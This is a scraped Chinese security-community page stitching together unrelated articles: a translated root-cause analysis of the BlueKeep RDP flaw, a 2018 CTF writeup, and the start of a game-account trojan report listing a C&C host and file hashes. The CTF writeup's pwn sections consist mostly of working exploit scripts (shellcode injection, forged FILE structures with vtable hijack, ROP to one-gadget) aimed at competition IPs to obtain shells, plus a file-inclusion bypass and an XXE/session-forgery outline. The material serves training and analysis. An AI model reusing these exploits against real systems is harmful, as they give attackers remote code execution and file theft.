第 5 节 Webshell 系列(5)-Webshell 乀“看见”癿能力凾枂……………………….. 95
第四章 漏洞月报 …………………………………………………………………………………………………………. 99
第 1 节 Joomla 迖程代码执行漏洞凾枂 ………………………………………………………………. 99
第 2 节 Juniper 网络讴备后门凾枂及影响 …………………………………………………………106
第 3 节 飞塔系统 SSH 后门凾枂及刟用 ………………………………………………………………112 **** **** ****
**下载地址：**[
**http://down.jdsec.com/secbook-5/%E4%B9%A6%E5%AE%89-%E7%AC%AC%E4%BA%94%E6%9C%9F.pdf**](http://down.jdsec.com/secbook-5/%E4%B9%A6%E5%AE%89-%E7%AC%AC%E4%BA%94%E6%9C%9F.pdf) | 社区文章 |
# Analysis of CVE-2019-0708
|
##### 译文声明
本文是翻译文章，文章原作者 malwaretech，文章来源：malwaretech.com
原文地址：<https://www.malwaretech.com/2019/05/analysis-of-cve-2019-0708-bluekeep.html>
译文仅供参考，具体内容表达以及含义原文为准。
_该作者是国外著名的恶意软件研究安全员，在漏洞爆发之初就开始投入到该漏洞的研究过程中。大概在漏洞公开一周后，他就在twitter上开始分享自己的研究成果，知道5月31号github上公开了蓝屏poc，他才在公开了自己的研究报告。_
## Binary Diffing
一般情况下，对漏洞的研究会首先从补丁对比入手（此次的漏洞补丁涉及到的文件只有一个：TermDD.sys）。对比结果如下图所示:
## Function Analysis
从补丁对比图来看，其他函数的变化较为平常，需要重点关注两个函数： “_IcaBindVirtualChannels” and
“_IcaRebindVirtualChannels”。这两个函数包含一样的变化，所以首先从前者开始分析（原因是Bind操作很可能发生在Rebind操作之前）。
(左侧是原始的IcaBindVirtualChannels函数，右侧是经过补丁更新的IcaBindVirtualChannels函数)
从函数的流程上，补丁更新后添加了新的逻辑，改变了原来调用_IcaBindChannel的方式。
如果比较的字符串等于“MS_T120”，则_IcaBindChannel的第三个参数被设置为31。而且只有在v4+88位置的内容等于”MS_T120”时才会发生变动。
基于以上事实，可以假设如果要触发漏洞，该条件必须为true。接下来，就需要关注一下这个”v4 + 88”了。
看一下IcaFindChannelByName函数的逻辑流程：
首先从函数名来说，该函数应该是用作按照信道名称寻找信道。进入函数内部看逻辑，该函数似乎对信道表进行迭代，寻找特定信道。
在函数的第18行，a3和v6 + 88之间有一个字符串的比较，如果两个字符串相等则返回v6。
综上假设：a3为要寻找的信道名称，v6位信道的相关结构，v6 + 88返回的是信道结构中的信道名称。
总结以上信息，”MS_T120”是一个信道名称。后续的工作为如何调用此函数，以及如何将信道名称设置为”MS_T120”。
## Debug Analysis
在函数IcaBindVirtualChannels上设置断点，也就是调用IcaFindChannelByName的位置。之后，发起一个正常的RDP连接。每次触发断点时，检查信道名称和调用堆栈。
图中显示的是第一次调用IcaBindVirtualChannels时的callstack和channel名称
第一次调用IcaBindVirtualChannels是为了想检查的信道MS_T120。在该信道之后的名称分别是“CTXTW”，“rdpdr”，“rdpsnd”和“drdynvc”。
不幸的是，只有在FindChannelByName成功（即信道已存在）时才会到达易受攻击的代码路径。
在这种情况下，函数失败并导致创建MS_T120信道。要触发漏洞，需要第二次调用IcaBindVirtualChannels，MS_T120作为信道名称。
现在的任务是弄清楚如何调用IcaBindVirtualChannels。从堆栈调用中可以看到IcaStackConnectionAccept，因此信道可能在连接时创建。只需要找到一种在连接后打开任意信道的方法。
## Traffic Analysis
图中是一个RDP Connection sequence流量。
在发送的第二个数据包中，包含传递给IcaBindVirtualChannels的六个信道中的四个，没有了MS_T120和ctxtw。
可以看到MS_T120和CTXTW没有在任何其他地方进行设置，但它们在其余信道之前打开了，这也就说明它们会自动打开。
对于自动打开的MS_T120，如果手动添加一个名称为”MS_T120”的信道将会发生什么？将断点移动到某些代码后（如果FindChannelByName成功，断点触发）
图中可以看到，在将MS_T120信道添加到信道数组中后，断点触发，程序中断
OK，现在漏洞路径已经找到了，后续工作就是要看看能利用这个干点什么了。
## Continue Debugging
为了对信道的操作更深入地了解，需要了解一下它是由什么创建的，在哪里创建的。
在IcaCreateChannel函数下断，然后重开一个新的RDP连接：
上图显示的是断点断下时堆栈调用的情况。
跟随堆栈调用，可以看到ntdll!NtCreateFile从用户模式向内核模式的转换。Ntdll仅仅提供了一个thunk，所以不用过多关注。
再往下是ICAAPI，它是用户模式下的TermDD.sys的一个副本。对ICAAPI的调用位于IcaChannelOpen，所以它很可能是IcaCreateChannel的用户模式等效项。
IcaOpenChannel是用于打开所有信道的正常函数，所以需要进入下层去看rdpwsx!MCSCreateDomain。
该函数实现了：1，使用”MS_T120”硬编码的方式调用IcaChannelOpen; 2, 利用返回的信道句柄创建一个IoCompletionPort。
“CompletionPort”变量是Completion Port句柄。通过查看句柄的xrefs可以找到处理端口I/O的函数。
可以从MCSInitialize函数入手，用作初始化的函数总是最佳切入点：
为Completion Port创建了一个线程，入口点是IoThreadFunc，跟进：
GetQueuedCompletionStatus用于检索送到completion
port（即信道）的数据。如果成功接收数据，则将其传递给MCSPortData。
为了证实理解正确，此处使用一个基本的RDP客户端，它具有在RDP通道上发送数据的能力。使用前面解释的方法打开了MS_T120信道。
打开后，在MCSPortData上设置断点;然后，将字符串“MalwareTech”发送到信道。
断在了MCSPortData，因为数据已经被发送到了信道。
也就是说，可以向MS_T120信道读取或写入数据。接下来，看一下MCSPortData使用信道数据做了什么操作：
ReadFile告诉我们数据缓冲区从channel_ptr + 116开始。在函数顶部附近是对chanel_ptr +
120执行的检查（偏移4进入数据缓冲区）。如果dword设置为2，则该函数调用HandleDisconnectProviderIndication和MCSCloseChannel。
代码看起来像信道连接/断开事件的某种处理程序。在查看正常情况下触发此功能的内容后，可以确定MS_T120是一个内部通道，通常不会从外部暴露。
如果发送了触发MCSChannelClose调用所需的数据：
直接蓝屏
查看bugcheck看一下发生了什么：
可以看到，当客户端断开时，系统尝试关闭MS_T120信道，但是我们之前就已经关闭了该信道，从而造成了一个双重释放。
由于在Windows Vista之后加入了一些缓解措施，双重释放漏洞通常不好利用，但不代表不能利用。
图中代码为断开连接时的清理操作的代码。
在内部，系统创建MS_T120通道并使用ID
31绑定它。但是，当使用易受攻击的IcaBindVirtualChannels代码绑定它时，它将与另一个id绑定。
从本质上来说，MS_T120信道被绑定了两次（一次在系统内部，一次是我们手动绑定的）。
由于信道绑定在两个不同的id下，我们得到两个单独的引用。 当一个引用用于关闭信道时，引用将被删除，信道也将被删除;但是，另一个引用仍然存在（称为use-after-free）。
使用没有被删除的引用，就可以内核内存了。 | 社区文章 |
# 2018鹏城杯 初赛 Writeup By Lilac
> 招一位web安全人员交流玩耍, 有意联系 **echo -n N2ZlaWxlZUBnbWFpbC5jb20= | base64 -d**
## PWN
### note
add note的功能存在溢出可以覆盖索引数组的下标为负数，可以hijack
got表，这里选了close@got，NX关了可以在堆上执行shellcode，用jmp指令连接起来就行
from pwn import *
def add(index,length,content):
p.sendline("1")
sleep(0.5)
p.sendline(str(index))
sleep(0.5)
p.sendline(length)
sleep(0.5)
p.sendline(content)
sleep(0.5)
#p = process("./note")
p = remote("58.20.46.151",41214)
add(0,"13" + "\x00"*8 + p32(0xfffffff3), 'H1\xd2\x90\x90P\xeb\x18')
add(0,"13",'H\x8d=9\x00\x00\x00\xeb\x17')
add(0,"13", '^\xb0;\x0f\x05')
add(0,"13","/bin/sh")
p.sendline("2")
p.interactive()
### random
printf_chk可以用来leak libc、elfbase、heap。fopen会在堆上分配空间存放io
file结构体，fclose以后指针没有清空存在uaf，scanf("%1000s",)会先分配一个大堆来存放输入，利用uaf可以在原来的file结构体上伪造一个新的结构体，设置好vtable在fread的时候拿shell
from pwn import *
import struct
_IO_USE_OLD_IO_FILE = False
_BITS = 64
def _u64(data):
return struct.unpack("<Q",data)[0]
def _u32(data):
return struct.unpack("<I",data)[0]
def _u16(data):
return struct.unpack("<H",data)[0]
def _u8(data):
return ord(data)
def _usz(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()
def _ua(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()
def _p64(data):
return struct.pack("<Q",data)
def _p32(data):
return struct.pack("<I",data)
def _p16(data):
return struct.pack("<H",data)
def _p8(data):
return chr(data)
def _psz(data):
if _BITS == 32:
return _p32(data)
elif _BITS == 64:
return _p64(data)
else:
print("[-] Invalid _BITS")
exit()
def _pa(data):
if _BITS == 32:
return struct.pack("<I", data)
elif _BITS == 64:
return struct.pack("<Q", data)
else:
print("[-] Invalid _BITS")
exit()
class _IO_FILE_plus:
def __init__(self):
self._flags = 0xfbad2887 # High-order word is _IO_MAGIC; rest is flags.
self._IO_read_ptr = 0 # Current read pointer
self._IO_read_end = 0 # End of get area
self._IO_read_base = 0 # Start of putback+get area
self._IO_write_base = 0 # Start of put area
self._IO_write_ptr = 0 # Current put pointer
self._IO_write_end = 0 # End of put area
self._IO_buf_base = 0 # Start of reserve area
self._IO_buf_end = 0 # End of reserve area
# The following fields are used to support backing up and undo.
self._IO_save_base = 0 # Pointer to start of non-current get area
self._IO_backup_base = 0 # Pointer to first valid character of backup area
self._IO_save_end = 0 # Pointer to end of non-current get area
self._markers = 0
self._chain = 0
self._fileno = 0
self._flags2 = 0
self._old_offset = 0 # This used to be _offset but it's too small
# 1+column number of pbase(); 0 is unknown
self._cur_column = 0
self._vtable_offset = 0
self._shortbuf = 0
self._lock = 0
if not _IO_USE_OLD_IO_FILE:
self._offset = 0
self._codecvt = 0
self._wide_data = 0
self._freeres_list = 0
self._freeres_buf = 0
self.__pad5 = 0
self._mode = 0
self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
self.vtable = 0
def tostr(self):
buf = _p64(self._flags & 0xffffffff) + \
_pa(self._IO_read_ptr) + \
_pa(self._IO_read_end) + \
_pa(self._IO_read_base) + \
_pa(self._IO_write_base) + \
_pa(self._IO_write_ptr) + \
_pa(self._IO_write_end) + \
_pa(self._IO_buf_base) + \
_pa(self._IO_buf_end) + \
_pa(self._IO_save_base) + \
_pa(self._IO_backup_base) + \
_pa(self._IO_save_end) + \
_pa(self._markers) + \
_pa(self._chain) + \
_p32(self._fileno) + \
_p32(self._flags2) + \
_p64(self._old_offset) + \
_p16(self._cur_column) + \
_p8(self._vtable_offset) + \
_p8(self._shortbuf)
if _BITS == 64:
buf += _p32(0)
buf += _pa(self._lock)
if not _IO_USE_OLD_IO_FILE:
buf += \
_p64(self._offset) + \
_pa(self._codecvt) + \
_pa(self._wide_data) + \
_pa(self._freeres_list) + \
_pa(self._freeres_buf) + \
_psz(self.__pad5) + \
_p32(self._mode) + \
''.join(map(lambda x:_p8(x), self._unused2)) +\
_pa(self.vtable)
return buf
def __str__(self):
return self.tostr()
def c1():
p.sendline("1")
sleep(0.5)
def c2(payload="1"):
p.sendline("2")
sleep(0.5)
p.sendline(payload)
sleep(0.5)
p.sendline("0")
sleep(0.5)
def c3():
p.sendline("3")
sleep(0.5)
#p = process("./random")#,env = {"LD_PRELOAD": "./libc.so"})
p = remote("58.20.46.151",41963)
libc = ELF("./libc.so")
c1()
c3()
payload = "%p"*393 + "hello1" + "%p" *12 + "hello2" + "%p"
p.sendline("2")
sleep(0.5)
p.sendline(payload)
sleep(0.5)
p.sendline("1")
sleep(0.5)
p.recvuntil("hello1")
addr1 = int(p.recv(14),16)
p.recvuntil("hello2")
addr2 = int(p.recv(14),16)
elf = addr1 - 0x2020B0
libc.address = addr2 - 0x20830
print hex(elf),hex(libc.address)
one = 0xf1147 + libc.address
payload = "%p%p%p%p%p%p%p%p%p1111%s" + p64(elf + 0x2020A0)
p.sendline(payload)
sleep(0.5)
p.sendline("1")
sleep(0.5)
p.recvuntil("1111")
heap = u64(p.recv(6).ljust(8,"\x00"))
print hex(heap)
print "one: " + hex(one)
file = _IO_FILE_plus()
file._lock = heap+0x2000
file.vtable = heap + 0xe0
fake = file.tostr()
vtable = p64(0x00) + p64(one)*0x20
#print fake
p.sendline(fake+vtable)
sleep(0.3)
p.sendline("0")
#gdb.attach(p)
p.interactive()
### treasure
程序允许输入9字节的shellcode，可以构造一个read系统调用输入新的shellcode覆盖原来的shellcode来拿shell
from pwn import *
context.arch = "amd64"
#p = process("./treasure")
p = remote("58.20.46.148",44112)
s = asm(
'''
push rsi
push rdx
pop rsi
pop rdx
xor rdi,rdi
syscall
'''
)
p.sendlineafter("will you continue?(enter 'n' to quit) :","1")
p.sendafter("start!!!!",s)
nop = asm("nop")
p.sendline(nop*20 + asm(shellcraft.sh()))
p.interactive()
### code
首先需要过check, 暴力跑出一个可行解就行了
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char char_set[] = "sABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
char key[8];
unsigned long long val = 0;
void inc_key(){
unsigned long long temp = val;
for(int i=0; i<8; ++i){
unsigned int cur_idx = temp % 53;
key[i] = *(char *)(char_set + cur_idx);
temp = temp / 53;
}
val++;
}
long long hash(){
int64_t v0; // ST08_8
int v2; // [rsp+10h] [rbp-10h]
int i; // [rsp+14h] [rbp-Ch]
int64_t v4; // [rsp+18h] [rbp-8h]
v4 = 0LL;
v2 = strlen(key);
for ( i = 0; i < v2; ++i )
{
v0 = 117 * v4 + key[i];
v4 = v0
- 0x1D5E0C579E0LL
* (((long long)(((__uint128_t)(-8396547321047930811LL * v0) >> 64) + v0) >> 40)
- (v0 >> 63));
}
return v4;
}
int main(){
char_set[0] = '\x00';
long long ret;
int iter =0;
unsigned long long total = 53^8;
while(key[8] != 'z' ){
iter++;
// puts(key);
if ( hash() == 0x53CBEB035LL ){
break;
}
inc_key();
}
if(key[8] == 0xff){
puts("no result");
}
puts(key);
return 0;
}
然后就是简单的栈溢出rop, 先leak puts 的地址, 然后再跳到one gadget即可
from pwn import *
import time
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
ip = "58.20.46.148"
port = 38733
LOCAL = False
X86_32 = False
break_points = [0x4008AB]
b_str = ''
for break_point in break_points:
b_str += "b *" + hex(break_point ) + '\n'
# libc = ELF('libc.so.6') if os.path.exists('libc.so.6') else elf.libc
elf = ELF("./"+filename)
if LOCAL:
io = process("./" + filename)
libc = elf.libc
else:
io = remote(ip, port)
libc = ELF('libc.so.6')
def wait(t=0.3):
sleep(t)
def mydebug():
gdb.attach(io, b_str)
key = "wyBTs"
PrdiR = 0x400983
got_puts = 0x601018
puts_off = libc.symbols['puts']
payload = 'a'*0x70 + p64(got_puts+0x70) + p64(PrdiR) + p64(got_puts) + p64(0x40082d)
wait()
sl(key)
wait()
sl(payload)
ru('Success\n')
res = rl()[0:6]
puts_addr = u64(res+'\x00\x00')
log.info('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - puts_off
log.info('libc base: '+hex(libc_base))
one = libc_base + 0x4526a
wait()
sl(p64(one))
io.interactive()
### OverInt
首先也是过两个check, 利用存在的整形溢出很好构造. 然后就可以任意地址写了.
第一次先同时leak puts 和 setbuf的地址, 然后算出libc.
第二次根据libc和leak的地址算出one gadget的地址, 跳到 one gadget即可
首先是计算绕过check的输入
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int target = 0x23;
int func(int v3, int i){
return ((i>>4) + v3*4) ^ (i<<10);
}
int main(){
int down = 0x21;
int up = 127;
for(char i=down; i<up; ++i){
for(char j=down; j<up; ++j){
for(char k=down; k<up; ++k){
for(char l=128; l<255; ++l){
int v3 = 0;
v3 = func(v3, (int)i);
v3 = func(v3, (int)j);
v3 = func(v3, (int)k);
v3 = func(v3, (int)l);
int ret = v3 % 47 + (v3 % 47 < 0 ? 0x2F : 0);
if(ret == target){
printf("%d %d %d %x\n", i, j, k, l);
return 0;
}
}
}
}
}
puts("no result");
return 0;
}
然后getshell
from pwn import *
import time
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'info'
ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
filename = "./overInt"
ip = "58.20.46.149"
port = 35533
LOCAL = True
X86_32 = False
break_points = [0x0400913, 0x4009AC, 0x400AA6]
b_str = ''
for break_point in break_points:
b_str += "b *" + hex(break_point ) + '\n'
io = remote("58.20.46.149", 35533)
# io = process("./overInt")
def wait(t=0.3):
sleep(t)
def mydebug():
if(not LOCAL):
return
gdb.attach(io, b_str)
def func(v3, i):
return ((i>>4) + (v3*4)) ^ (i << 10)
key_target = 0x23
def get_key():
for i in range(ord('!'), ord('~')+1):
for j in range(ord('!'), ord('~')+1):
for k in range(ord('!'), ord('~')+1):
for l in range(ord('!'), ord('~')+1):
print('...')
v3 = 0
v3 = func(v3, i)
v3 = func(v3, j)
v3 = func(v3, k)
v3 = func(v3, l)
ret = v3%47
if(v3 == 0x23):
# print('target is %d %d %d %d'%(i, j, k, l))
target = [i, j, k, l]
print(''.join([chr(v) for v in target]))
return
key = '!'*3+'\x95'
target = 0x20633372
PrdiR = 0x400b13
got_puts = 0x602018
got_setbuf = 0x602020
got_printf = 0x602028
# puts = 0x4008F7
puts = 0x4009AC
main = 0x40087F
plt_puts = 0x400550
def leak_addr(addr):
pass_check()
sn(p32(32))
payload = p64(PrdiR) + p64(addr) + p64(plt_puts) + p64(main)
for i in range(0, 32):
sn(p32(0x38+i))
sn(payload[i])
ru("hello!")
wait()
res = rl()[0:6]
log.debug(repr(res))
addr = u64(res+'\x00\x00')
log.info('addr: ' + hex(addr))
return addr
# sn(p32(24))
def get_libc():
addr1 = leak_addr(got_puts)
log.info('puts:' + hex(addr1))
wait()
addr2 = leak_addr(got_setbuf)
log.info('setbuf:'+hex(addr2))
wait()
puts_off = 0x6f690
one_off = 0x45216
def get_shell():
puts_addr = leak_addr(got_puts)
libc_base = puts_addr - puts_off
log.info('libc base:' + hex(libc_base))
pass_check()
sn(p32(32))
payload = p64(PrdiR) + p64(0) + p64(libc_base+one_off) + p64(main)
for i in range(0, 32):
sn(p32(0x38+i))
sn(payload[i])
ru("hello!")
wait()
res = rl()[0:6]
log.debug(repr(res))
addr = u64(res+'\x00\x00')
log.info('addr: ' + hex(addr))
return addr
def pass_check():
# ru('Please set arrary number: ')
sleep(0.1)
sn(key)
ru('How many numbers do you have?')
sn(p32(5))
ru('the number')
sn(p32(target))
for i in range(0, 4):
ru('the number')
sn(p32(0))
ru("How many positions you want to modify?")
if __name__ == '__main__':
# mydebug()
get_shell()
# get_libc()
# sn(p32())
# pass
# get_key()
## WEB
### Three body 1
1. 下载 /flag.txt 得到 flag
### Myblog
1. PHP 本地文件包含导致任意文件读取
2. 通过扫描发现存在 YWJvdXQ=.php
3. 读取该文件
4. /index.php?flag=php://filter/convert.base64-encode/resource=YWJvdXQ%3D
<?php
$filename = 'flag.txt';
$flag = 'flag.txt';
extract($_GET);
if(isset($sign)){
$file = trim(file_get_contents($filename));
if($sign === $file){
echo 'Congratulation!<br>';
echo file_get_contents($$falg);
}
else{
echo 'don`t give up';
}
}
1. 绕过即可读取 flag.txt
platypus@platypus:~$ curl 'http://58.20.46.148:26111/YWJvdXQ=.php?sign=&filename=php://input&falg=f&f=flag.txt'
Congratulation!<br>flag{nev1r_g1ve_8p_aer}
### Shadow
1. 读取 Flask config 得到 SECRET_KEY
2. 发现客户端 SESSION 中存在字段 is_admin
3. 通过 Flask 伪造 SESSION 修改 is_admin
4. 上传 XML 文件利用 XXE 读取 Flag
## REV
### happy
程序打开一看肯定是动态解密代码的，用strace试了一下没有strace反调，没有的话用gdb动态调试。用`catch syscall
write`来捕获write调用，找到代码解密后的位置之后dump分析之。
发现加密过程有点像DES，在内存中得感觉像是SBOX的数组，搜一下果然是DES的SBOX，先解一下看。
from Crypto.Cipher import DES
dest = [39L, 66L, 172L, 166L, 75L, 144L, 164L, 125L, 71L, 64L, 204L, 69L, 127L, 161L, 44L, 188L, 131L, 82L, 94L, 81L, 96L, 249L, 238L, 79L, 61L, 104L, 221L, 222L, 232L, 116L, 250L, 26L, 83L, 34L, 91L, 19L, 199L, 229L, 122L, 94L, 88L, 128L, 176L, 101L, 153L, 241L, 91L, 79L]
key="hAppysad"
des = DES.DESCipher(key)
print des.decrypt(''.join(map(chr, dest)))
其中的key在dump中的程序找不到，但可以在调试时得到。
解出flag:
### flow
pyexe的逆向，用unpy2exe得到pyc文件后用uncompyle6得到源代码。源代码被混淆过，手动重命名去混淆得到如下的代码
import sys, os, hashlib, time, base64, random, itertools
from flag import flag
from pwn import *
class Cipher:
def __init__(self, public=None, lenth=16):
self.lenth = lenth
self.public = public
val = hashlib.md5(self.public.encode('utf-8')).hexdigest()
self.vala = hashlib.md5(val[0:16].encode('utf-8')).hexdigest()
self.valb = hashlib.md5(val[16:32].encode('utf-8')).hexdigest()
self.valc = ''
def encode(self, string):
self.valc = hashlib.md5(str(1234).encode('utf-8')).hexdigest()[32 - self.lenth:32]
string = '0000000000' + hashlib.md5((string + self.valb).encode('utf-8')).hexdigest()[0:16] + string
self.result = ''
self.docrypt(string)
return str(self.valc + base64.b64encode(self.result))
def docrypt(self, string):
string_lenth = len(string)
self.result = ''
sbox = list(range(256))
randval = []
cryptval = self.vala + hashlib.md5((self.vala + self.valc).encode('utf-8')).hexdigest()
val_lenth = len(cryptval)
for i in range(255):
randval.append(ord(cryptval[i % val_lenth]))
for i in range(255):
sidx = 0
sidx = (sidx + sbox[i] + randval[i]) % 256
tmp = sbox[i]
sbox[i] = sbox[sidx]
sbox[sidx] = tmp
for i in range(string_lenth):
j = sidx = 0
j = (j + 1) % 256
sidx = (sidx + sbox[j]) % 256
tmp = sbox[j]
sbox[j] = sbox[sidx]
sbox[sidx] = tmp
self.result += chr(ord(string[i]) ^ sbox[(sbox[j] + sbox[sidx]) % 256])
def block_chng(block):
W = 4
perm = range(W)
random.shuffle(perm)
while len(block) % (2 * W):
block += '.'
for i in xrange(100):
block = block[1:] + block[:1]
block = block[0::2] + block[1::2]
block = block[1:] + block[:1]
res = ''
for sidx in xrange(0, len(block), W):
for lsboxl in xrange(W):
res += block[sidx:sidx + W][perm[lsboxl]]
block = res
return block
if __name__ == '__main__':
rc = Cipher('sdfgowormznsjx9ooxxx')
string = '1234'
string = block_chng(string)
st = rc.encode(string)
print st
连接服务器拿到密文后使用密文进行解密，解密难度不大，最后一步参考了[这篇文章](https://pwnthemole.github.io/crypto/2018/09/16/jordantunisiactftransposed.html)
最终写出解密脚本
import sys, os, hashlib, time, base64, random, itertools
import random
import itertools
from CaR import *
enc = '0036dbd8313ed055NJD5H1Ufzl75Uffc1cp9LhnZx9Ydj6VpRRfquCuDqt9x3ku7ovvsgE3WdikR1I8T08N+dIoyipit+q/lALO35Pww'
enc = base64.b64decode(enc[16:])
rc = Cipher('sdfgowormznsjx9ooxxx')
rc.valc = hashlib.md5(str(1234).encode('utf-8')).hexdigest()[32 - 16:32]
rc.docrypt(enc)
msg2 = rc.result[26:]
# msg2 = 'd73g.669l78fce0114217d}fa91a7e754.fff{12'
for perm in itertools.permutations(range(4)):
msg = msg2
for i in xrange(100):
msg = msg[1:] + msg[:1]
msg = msg[0::2] + msg[1::2]
msg = msg[1:] + msg[:1]
res = ""
for j in xrange(0, len(msg), 4):
for k in xrange(4):
res += msg[j:j+4][perm[k]]
msg = res
if "flag" in msg:
print(msg)
得到flag
### ctopia
本题的游戏还不错，一开始先运行游戏玩了一下，在第一幕结束的时候显示Decrypt Process 0%。然后开始分析程序。
题目很善良，所有调试信息都保留了，可以在mainloop中找到解密的逻辑，当游戏达到某些条件时，游戏会释放一部分key，调用Key::writekey函数将key写入resource/secret/secret.key文件中，然后调用解密。因此直接在调试的时候手动调用writekye(1),
writekye(2), writekye(3), writekye(4)和FinalDecrypt就可以得到flag
### badlock
题目使用C++实现了一个虚拟机，相对于用C实现的虚拟机, 分析起来会费劲一些。
分析每一条指令，写出反汇编器如下
#-*- coding: utf-8
# stack is code in fact
# val_r2_stack is ip address
stack = [8, 0, 20, 8, 1, 0, 8, 2, 1, 8, 7, 9, 8, 8, 0, 8, 9, 0, 1, 9, 8, 1, 8, 2, 3, 7, 8, 516, 65532, 0, 5, 3, 9, 3, 1, 0, 260, 10, 0, 5, 4, 1, 1, 4, 3, 1, 4, 4, 10, 5, 1, 12, 5, 4, 11, 6, 1, 1, 1, 2, 3, 6, 5, 260, 65525, 0, 516, 1, 0, 255, 0, 0, 9, 0, 0, 255, 0, 0, 0]
inst = {
1: "add",
2: "sub",
3: "cmp_mem_z1_nz2",
4: "add_val_r2_stack",
5: "mov",
6: "store_val_r2_stack",
7: "load_val_r2_stack",
8: "movi",
9: "write_err",
10: "mov_p2m",
11: "mov_k2m",
12: "xor",
13: "check_reg",
255: "exit"
}
flag = 0
for i in range(0, len(stack), 3):
if i+2 >= len(stack):
break
opcode = stack[i]
op1 = stack[i+1]
op2 = stack[i+2]
if not inst.has_key(opcode):
cond = opcode >> 8
opcode &= 0xff
else:
cond = 0
if cond:
print(cond)
print("0x%02x: %s 0x%x, 0x%x" % (i, inst[opcode], op1, op2))
虽然反汇编的效果一般，但是加密逻辑很简单，可以据此写出注册机如下
key = [46L, 38L, 45L, 41L, 77L, 103L, 5L, 68L, 26L, 14L, 127L, 127L, 125L, 101L, 119L, 36L, 26L, 93L, 51L, 81L]
acc = 36
res = []
for i in range(20):
res.append(((i + acc) * 2) ^ key[i])
for j in range(4):
for i in range(19, 0, -1):
res[i] ^= res[i-1]
print ''.join(map(chr, res))
运行结果如下
## CRYPTO
### easyCrypto
这里的加密方法有点类似[最近比赛的一道密码题](https://xz.aliyun.com/t/2830),不过
prev_pt,prev_ct都是iv,没有变换,直接利用解密脚本.
> flag:pcbctf{345f3_asss3_loasd_aswew}
### MixMix
程序是rsa加密,其中e=3,返回密文和一半长度的d,其中d通过xor变换加密了,xor的密钥是伪随机出来的`random.getrandbits(1024)`这里提供了624个之前的随机数,可以[预测](https://github.com/eboda/mersenne-twister-recover/blob/master/MTRecover.py)出伪随机的状态,从而得到xor的密钥,得到d的低位,由于`e*d+1==k*phi`,用n代替phi则`0<k<3`,从而近似得到d的高位为(2*n+1)/e或者(n+1)/e,这里得到的高位的最后两个字节不对,爆破了高位最后两字节,最终解出rsa.
解密cipher2脚本:
def pad_128(m):
assert len(m)<=128
if len(m)==127:
return '\x00'+m
if len(m)==128:
return m
assert False
def singleround(m):
L=bytes_to_long(m[0:128])
R=bytes_to_long(m[128:256])
nL=R
nR=L^BOX[R%32]
return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def desingleround(m):
L=bytes_to_long(m[0:128])
R=bytes_to_long(m[128:256])
nR=L
nL=R^BOX[L%32]
return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def cipher2(m):
xxx=m
for i in range(32):
xxx=singleround(xxx)
return xxx
def decipher2(m):
xxx=m
for i in range(32):
xxx=desingleround(xxx)
return xxx
> flag{m1x_flag_for_alot_of_challenges_rsa_block_stream_ctf}
### 签名伪造
这题本身是个[ElGamal forge](https://kitctf.de/writeups/bkp2015/wood-island)题目,出题人疏忽,可是题目的s2h函数有漏洞,可以直接伪造admin用户,从而拿到(r,s),得到admin凭证,从而获取flag.
漏洞函数`def s2h(s): return ''.join([hex(ord(c)).replace('0x', '') for c in
s])`,这个可以将字符通过的`replace('0x',
'')`连接起来可以很轻松绕过admin的判断,比如传入admi\x06\x0e,则经过s2h函数,则将6e连接起来了.
> flag:flag{25478-92GSEF-jsaafa-I85266}
## MISC
### Welcome
> flag{ausjnhjajfjakjw45}
### Traffic Light
gif一共一千多帧,通过红灯绿灯黄灯分割,其中红灯为1,路灯为0,黄灯为每个字符的分隔符.先[online](https://ezgif.com/split/ezgif-1-823180199d90.gif)分割gif,然后python处理.
得到flag:flag{Pl34s3_p4y_4tt3nt10n_t0_tr4ff1c_s4f3ty_wh3n_y0u_4r3_0uts1d3}
### Quotes
密文 `My+mission+in+life+is+not+mer ely+to+survive+but to+thrive+and+to+do+so+w
ith+s ome+pass i on+some+compass ion+so me+humor+and+some+style`
通过空格分割,每串字符串的字符个数是字母[a-z]的索引,统计个数,得到:wordgames
最终尝试:flag{word games} | 社区文章 |
# 【木马分析】某游戏盗号木马简要分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 背景介绍**
近日，360CERT安全研究员从用户反馈渠道了解到一个正在活动的恶意样本，经分析，确认该样本是一枚利用正规厂商签名文件启动的木马样本，试图盗取游戏用户的虚拟财产。
目前，“360安全卫士”已经能对该样本进行准确的查杀。
**0x01 IOC**
a271095831.e2.luyouxia.net:30903 C&C服务器端口映射地址
08f67675f146793e2853c439a8132195 报价表.pif
ee431a681d3ebf52a041d1919bbec425 setup.ini
7281d5a6d720abe4ac361086029c91a6 123.bin
bf6c63025ac591ac478d0aa08dab9d73 1.ini
ba2cf7d2d09ae9a29445704bd1b4f67b baijia.pif
32ea6c0d495bc283e2dbed7404cb0de2 e.jpg
2be79d658d005a33e92e64cfd27fd665 inject scvhost.dll
e12f3db80202aae839de79881a5f0203 scvhost.exe
6ef674e8148e499b20c5f6ee065d16da baijia.exe (包含有效正规厂商数字签名)
